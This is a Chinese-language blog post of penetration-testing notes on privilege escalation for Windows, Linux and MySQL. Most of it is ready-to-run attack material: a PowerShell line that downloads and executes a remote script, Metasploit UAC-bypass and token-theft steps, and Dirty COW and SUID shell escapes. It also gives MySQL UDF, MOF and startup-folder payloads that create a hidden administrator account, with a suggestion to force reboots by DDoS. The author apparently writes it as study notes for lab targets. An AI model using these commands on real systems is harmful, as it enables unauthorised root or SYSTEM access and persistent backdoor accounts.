渗透测试提权指南

windows系统提权

参考内网安全攻防:渗透测试实战指南(百度百科)

一.系统内核漏洞

利用已存在未安装补丁的漏洞进行提权
参考Windows系统内核溢出漏洞提权

1.手动寻找缺失补丁

拿到权限后通过如下命令查看系统安装了哪些补丁

systeminfo

wmic qfe get caption,description,hotfixid,installedon

比CMD更强大的命令行:WMIC后渗透利用(系统命令)

在这里插入图片描述

在这里插入图片描述
通过没有列出的补丁号,寻找相应的提权EXP进行提权(挺离谱的感觉)

系统漏洞与对应的补丁编号

2.自动寻找缺失补丁

msf(enum_patches)模块

这里也是拿到权限以后利用这个模块快速查找缺少的补丁

use multi/handler
use post/windows/gather/enum_patches 
show options 
set SESSION 

在这里插入图片描述

msf(local_exploit_suggester)模块

和上面同理

use post/multi/recon/local_exploit_suggester 
set session 1
run

在这里插入图片描述

Windows Exploit Suggester

该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而且其只需要我们给出目标系统的信息即可。下载地址
https://github.com/AonCyberLabs/Windows-Exploit-Suggester

./windows-exploit-suggester.py --update

然后执行如下命令,查看目标主机系统信息,保存为sysinfo.txt文件:

ifconfig > sysinfo.txt

在这里插入图片描述
还需要先下载xlrd模块

install python-xlrd, 
pip install xlrd --upgrade

最后,运行如下命令,查看该系统是否存在可利用的提权漏洞:

./windows-exploit-suggester.py --database 2021-12-04-mssb.xls -i sysinfo.txt 
PowerShell的Sherlock脚本

同上同上

二.Windows错误配置提权

参考Windows错误配置提权
windows系统服务文件在操作系统启动时加载和运行,并在后台调用可执行文件。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。windows服务是以system权限运行的,因此,其文件夹,文件和注册表键值都是受强访问控制机制保护的。但是在一些情况下操作系统中任然存在一些没有得到有效保护的服务
系统服务权限配置错误有如下两种可能:
服务未启动:攻击者可以使用任意服务替换原来的服务,然后重启服务
服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用dll劫持技术并尝试重启服务来提权

powerup

下载地址
powerup提供了一些本地提权的方法,可以通过很多实用的脚本来寻找目标机器的windows服务漏洞
三种加载方式

powershell.exe -exec bypass -Command "& {Import-Module .PowerUp.ps1; Invoke-AllChecks}"
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Invoke-AllChecks”

msf(service_permissions)模块

使用两种方法可获得system权限,其实和之前的相同,一种是尝试创建并运行一个新服务,第二种就是判断哪些文件权限会有问题,对其进行劫持。两种的结果都是创建出一个随机文件名安装路径的可执行程序。

exploit/windows/local/service_permissions
show options
set session 2

在这里插入图片描述

注册表键AlwaysInstallElevated

注册表键AlwaysInstallElevated是一个策略设置项。如果开启了Windows Installer特权安装功能。windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以NT AUTHORITYSYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件

感觉太老了叭。

可信任服务路径漏洞

windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。
例如,有如下的文件路径:

C:Program FilesSome FolderService.exe

对于上面文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:

C:Program.exe
C:Program FilesSome.exe
C:Program FilesSome FolderService.exe

所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,服务一旦重启,我们的恶意程序就会以system权限运行(大多数情况下)。

msf对应trusted_service_path模块,感觉已经不是提权了而是一些奇怪的任意执行漏洞

自动安装配置文件

网络管理员在内网中给多台计算器配置同一个环境时,通常不会逐台配置,而会使用脚本化批量部署的方法,这个过程就会使用安装配置文件。这些文件中包含的安装配置信息,其中还可以包含管理员账号密码等等可以执行一下命令搜索Unattend.xml文件,msf对应post/windows/gather/enum_unattend模块

计划任务

schtasks /query /fo LIST /v

绕过UAC提权

谢公子绕过UAC提权
UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。

需要UAC的授权才能进行的操作列表如下:

配置Windows Update
增加、删除账户
更改账户类型
更改UAC的设置
安装ActiveX
安装、卸载程序
安装设备驱动程序
将文件移动/复制到Program Files或Windows目录下
查看其它用户的文件夹

msf(bypassuac)模块

use exploit/windows/local/bypassuac  #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。
use exploit/windows/local/bypassuac_injection  #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。
use exploit/windows/local/bypassuac
set session 1
set lhost 0.0.0.0          
set lport 24444                #本地监听的端口,随便设置一个未被占用的端口即可
exploit

在这里插入图片描述

msf(ask)模块

使用 exploit/windows/local/ask 模块,需要使用 EXE::Custom 选项创建一个可执行文件(需要免杀),目标机器会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个高权限的shell。

Nishang中的Invoke-PsUACme模块

Powershell 渗透测试工具-Nishang感觉就是用在PowerShell上的一个cs,但是无图像话界面

Empire中的bypassuac(_wscript)模块

后渗透测试神器Empire的详解感觉和nishang也差不多。。。。。

令牌窃取

msf(incognito)模块

【Windows提权】令牌窃取,感觉这个东西已经太老了,真的会有这个东西吗,哪天靶机遇到再写吧

烂土豆提权(MS16-075)

烂土豆,脏牛算是听得比较多的了,打算遇到靶机用过了再专门写一下

使用ms16-075
use exploit/windows/local/ms16_075_reflection
show options
set session 1
exploit
直接上传

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
下载好上传到目标主机上

use incognito  //枚举有哪些用户的进程,一般有用户和system用户
list_tokens -u
execute -cH -f ./rottenpotato.exe  //上传rottenpotato.exe并执行提权
impersonate_token “NT AUTHORITY\\SYSTEM

无凭证下的权限提升

参考内网渗透研究:LLMNR和NetBIOS欺骗攻击分析,不得不说真的太菜了,名词都没咋听过。

LLMNR和NetBIOS欺骗攻击

LLMNR

链路本地多播名称解析(LLMNR)是一个基于协议的域名系统(DNS)数据包的格式,使得双方的IPv4和IPv6的主机来执行名称解析为同一本地链路上的主机。当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR本地链路多播名称解析来解析本地网段上的主机的名称,直到网络连接恢复正常为止。

NetBIOS

Netbios(Network Basic Input Output System):网络基本输入输出系统,它提供了OSI模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据。严格来说,Netbios是一种应用程序接口(API),系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应IP地址,几乎所有的局域网都是在NetBIOS协议的基础上工作的。NetBIOS也是计算机的标识名称,主要用于局域网内计算机的互访。NetBIOS的工作流程就是正常的机器名解析查询应答过程。在Windows操作系统中,默认情况下在安装 TCP/IP 协议后会自动安装NetBIOS。

原理

我们利用SMB协议获取目标网络中计算机的Net-NTML Hash。

当用户输入 不存在、包含错误 或者 DNS中没有的主机名 时,主机先在自己的内部名称缓存中查询名称,如果没找到,主机就会向DNS服务器查询,而DNS解析会失败,此时就会退回LLMNR和NetBIOS进行计算机名称解析。那么攻击者就能够代替网络上任何不存在的主机回答请求,并诱导搜索内容的主机连接到我们。如果攻击者使用 Metasploit 和 Responder 等工具,就可以要求验证受害者主机的身份,而如果攻击者被认为是这些主机所在的本地网络中的一部分时,他们就会把自己进行哈希后的Windows凭据发给攻击者。核心过程与arp欺骗类似。

工具

Responder下载地址:https://github.com/sdfzy/Responder,kali自带

Responder是监听LLMNR和NetBIOS协议的工具之一,能够抓取网络中所有的LLMNR和NetBIOS请求并进行响应,获取最初的账户凭证。
在这里插入图片描述

linux系统提权

参考渗透测试中的提权思路(详细!)

信息收集的一些命令

uname -a 显示全部系统信息
cat /etc/issue 内核信息。此命令也适用于所有的Linux发行版
cat /etc/passwd 所有人都可看
ps aux | grep root
//aux都是参数a = show processes for all users 显示所有用户的进程u = display the process's user/owner 显示用户x = also show processes not attached to a terminal 显示无控制终端的进程

Linux ps aux指令詳解

一.内核漏洞提权

拿到普通用户权限后get到linux内核版本,使用searchspolit搜索相应版本漏洞

searchsploit linux 4.0.0
searchsploit Ubuntu 16.04
searchsploit Ubuntu 16 kernel 3.10

在这里插入图片描述在这里插入图片描述

找到对应的.c源文件,将其发送到靶机或是靶机下载后进行编译执行

脏牛内核提权

漏洞原理:

利用只读文件映射区域写数据时,会使用get_user_page内核函数处理产生一个映射文件的复制(COW),对此区域的任何修改都不会写回原来的文件,但这里通过条件竞争就能使其任务执行顺序异常,就会成功的写到原来的文件中。比如我们修改su或者passwd程序就可以达到提权root的目的。

操作流程

拿到一个权限后利用可以执行的命令来进行提权,所以下面所有操作都是在被打的机子上用(除了把.c文件扔上去)

uname -a查看内核版本

Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)

https://github.com/FireFart/dirtycow
将下载下来的c文件(这里也可以用kali上的)进行编译执行

在这里插入图片描述

gcc -pthread dirty.c -o dirty -lcrypt

//-pthread会附加一个宏定义-D_REENTRANT该宏会导致libc头文件选择那些thread-safe的实现(动态库)
//-o  为编译后输出的文件名
//-l crypt 加载crypt库

./dirty 
密码:
//可以直接 ./dirtu 密码

在对vulnhub-CH4INRULZ靶机进行渗透测试有用到,可以看一看

二.SUID提权

参考【安全科普】Linux提权——利用可执行文件SUID
SUID(设置用户ID)是赋予文件的一种权限,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。已知的可用来提权的linux可行性的文件列表如下:

nmap
vim
find
bash
more
less
nano
cp

首先在本地查找符合条件的文件,有以下三个命令,列出来的所有文件都是以root用户权限来执行的,接下来找到可以提权的文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

Linux 下的两个特殊的文件 – /dev/null 和 /dev/zero 简介及对比

感觉能把每一个命令都拉出来写一下如何提权,下面是一个find命令提权

find提权

搞vulnhub-DC-1靶机渗透测试时有用到,其实也就是在渗透过程中如果发现存在一些具有root权限命令的话,可以直接拿来执行命令
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
find text文本时使用exec来执行命令,这里text文本得是真实存在的

find text -exec "whoami" \;

Vim提权

vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

在这里插入图片描述

在这里插入图片描述

Bash

以下命令将以root身份打开一个bash shell。

bash -p

Less/more

程序Less也可以执行提权后的shell。同样的方法也适用于其他许多命令。

less /etc/passwd
!/bin/sh

nmap提权

版本问题

旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。因此可以使用交互式控制台来运行具有相同权限的shell。

nmap --interactive //启动交互模式
!sh //执行之后将提供一个提权后的shell。
msf(setuid_nmap)模块

Metasploit通过SUID Nmap二进制文件进行提权

use exploit/unix/local/setuid_nmap
show options

在这里插入图片描述

三.sudo提权

在Linux中,有时为了让普通用户获得root的执行权限,除了su -永久提权方法,还有一种常用的方法,就是sudo,sudo的工作过程如下:

1)当用户执行sudo时,系统会主动寻找/etc/sudoers文件,判断该用户是否有执行sudo的权限
(2)确认用户具有可执行sudo的权限后,让用户输入用户自己的密码确认
(3)若密码输入成功,则开始执行sudo后续的命令

通过vim /etc/sudoers可进入编辑界面,默认root支持sudo,是因为文件中有一行 root ALL=(ALL)ALL 在改行下面增加 test ALL=(ALL)ALL 就可以让test用户拥有sudo的权利

test ALL=(ALL) NOPASSWD:ALL
test表示用户名
第一个 ALL 指示允许从任何终端访问sudo
第二个 (ALL:ALL)指示sudo命令被允许任意用户、任意组执行
第三个 NOPASSWD 表示不需要输入密码而可以sudo执行的命令
第四个 ALL表示所有命令都能执行,同样的还有
	  /usr/bin/cat       #单个命令                 
	  /usr/bin/cat,/usr/bin/tail               #多个用逗号分割 
	  /usr/bin/* #目录下的所有命令
 

在这里插入图片描述

数据库提权

udf提权

udf(user defined function)用户自定义函数。是通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。udf在mysql版本小于5.1版本,udf.dll文件在windows2003下放在:c:\windows\system32。在windows2000放在:c:\winnt\system32在mysql5.1以后的版本中,存在于mysql/lib/plugin目录下(没有plugin这个文件夹,需要自己创建),文件后缀.dll(windows)linux后缀名:.so,常用c语言编写。(因为自己还没有遇到过,所以暂时都贴的参考文章中的内容,遇到真实环境时再更)。

大致思路

参考udf提权原理详解 将udf文件放到指定位置,从udf文件中引入自定义函数,执行自定义函数

这里要搞清楚

1.指定位置是哪个位置

mysql版本小于5.1版本,udf.dll文件在windows2003下放在:c:\windows\system32。在windows2000放在:c:\winnt\system32
mysql版本大于5.1版本,udf.dll文件必须放置在mysql根(通过select @@basedir可知)目录下的lib\plugin。但是大于5.1版本的时候没有plugin这个文件夹,需要自己创建。

2. 拿到一个网站的webshell之后,要在指定位置创建udf文件,这里要如何创建(MySQL 反弹shell提权)

首先sqlmap中有现成的udf文件,分为32位和64位,我们可以直接get到内容,这里将获得的udf.dll文件转换成16进制,然后上传时候再解码

SELECT  hex(load_file(0x433a5c5c55736572735c5c6b61316e34745c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c)) into dumpfile 'C:\\Users\\ka1n4t\\Desktop\\gg.txt';
load_file中的十六进制是C:\\Users\\ka1n4t\\Desktop\\lib_mysqludf_sys.dll

此时gg.txt文件的内容就是udf文件的16进制形式。,然后再把它传到目标主机上。

CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容
SELECT c FROM udftmp INTO DUMPFILE 'H:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; //将udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改
//对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\
3.前提

确定secure_file_priv的值,secure_file_priv 是用来限制 load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限

show global variables like 'secure%';
     当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
     当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
     当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

我们先查看 secure_file_priv 的值是否为空,因为只有为空我们才能继续下面的提权步骤。
参考谢公子MySQL UDF提权执行系统命令

步骤

参考Windows提权系列中篇
1.创建函数

DROP TABLE udftmp; //为了删除痕迹,把刚刚新建的udftmp表删掉
create function function_name returns string soname 'dll_path' //function_name必须是dll文件中函数
eg: create function cmdshell returns string soname 'udf.dll'

2.调用函数

select cmdshell('net user ndsec ndsecpw /add');
select cmdshell('net localgroup administrators ndsec /add');

3.删除函数

drop function function_name;
eg:drop function cmdshell;

mof提权

mof文件是mysql数据库的扩展文件,存放在(C:/windows/system32/wbem/mof/nullevt.mof)它的作用是每隔一段时间就会去监控进程创建和死亡,mof当中是一段vbs脚本(基于Visual Basic的脚本语言,简单可行性强,易写成病毒或者整人的代码),通过通过控制vbs脚本让系统执行命令,进行提权。

提权条件

1、windows2003及以下
2、mysql启动身份具有权限去读写C:/windows/system32/wbem/mof/目录
3、secure-file-priv=不为null

步骤

参考Day3——提权学习之MySQL数据库(MOF提权)
1、生成 nullevt.mof文件,上传文件到可写目录

#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5;
QueryLanguage =WQL;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user quan 123 /add\”);
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

2、执行导入命令
把我们的提权命令将 nullevt.mof 导入到c:/windows/system32/wbem/mof/目录

select load_file(G:/test/nullevt.mof”) into dumpfile “c:/windows/system32/wbem/mof/nullevt.mof”

导入后,系统会自动运行该文件。
3、将提权脚本中添加用户命令修改为提升至administrators组:net.exe localgroup administrators quan /add,再次上传并导入。为了更高的成功率,我们必须分开两次导入该脚本。第一次为添加用户,第二次对添加的用户进行提权。

添加用户
net.exe user quan 123 /add

对添加的用户进行提权
net.exe localgroup administrators quan /add

反弹端口提权

提权条件
1、获取数据库的账号和密码,同时能够执行查询命令。
2、secure_file_priv=,可导出udf.dll到系统目录或者mysql数据库安装目录下的lib下plugin
3、授权mysql数据库远程用户的登录

这种方法提权网上一查一页一样的,直接放弃了

启动项提权

使用mysql写文件,写一段vbs代码到开启自启动中。服务器重启的时候达到创建用户并提取。可以使用DDOS迫使服务器重启

create table a(cmd text); #创建a表,表中只存放一个字段cmd,为text文本
insert into a values("set wshshell=createobject(""wscript.shell"")");
insert into a values("a=wshshell.run(""cmd.exe /c net user ttt 123456 /add"",0)");  #添加用户密码,注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!
insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators ttt /add"",0)"); #加入administrators组
select * from a;查询有没有写入
select * from a into outfile "C:\\Users\\zth\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\a.vbs" #把表中的内容写入到启动组中,是一个VBS的脚本文件!注意“\”符号

成功率应该也挺低的。

  • 0
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值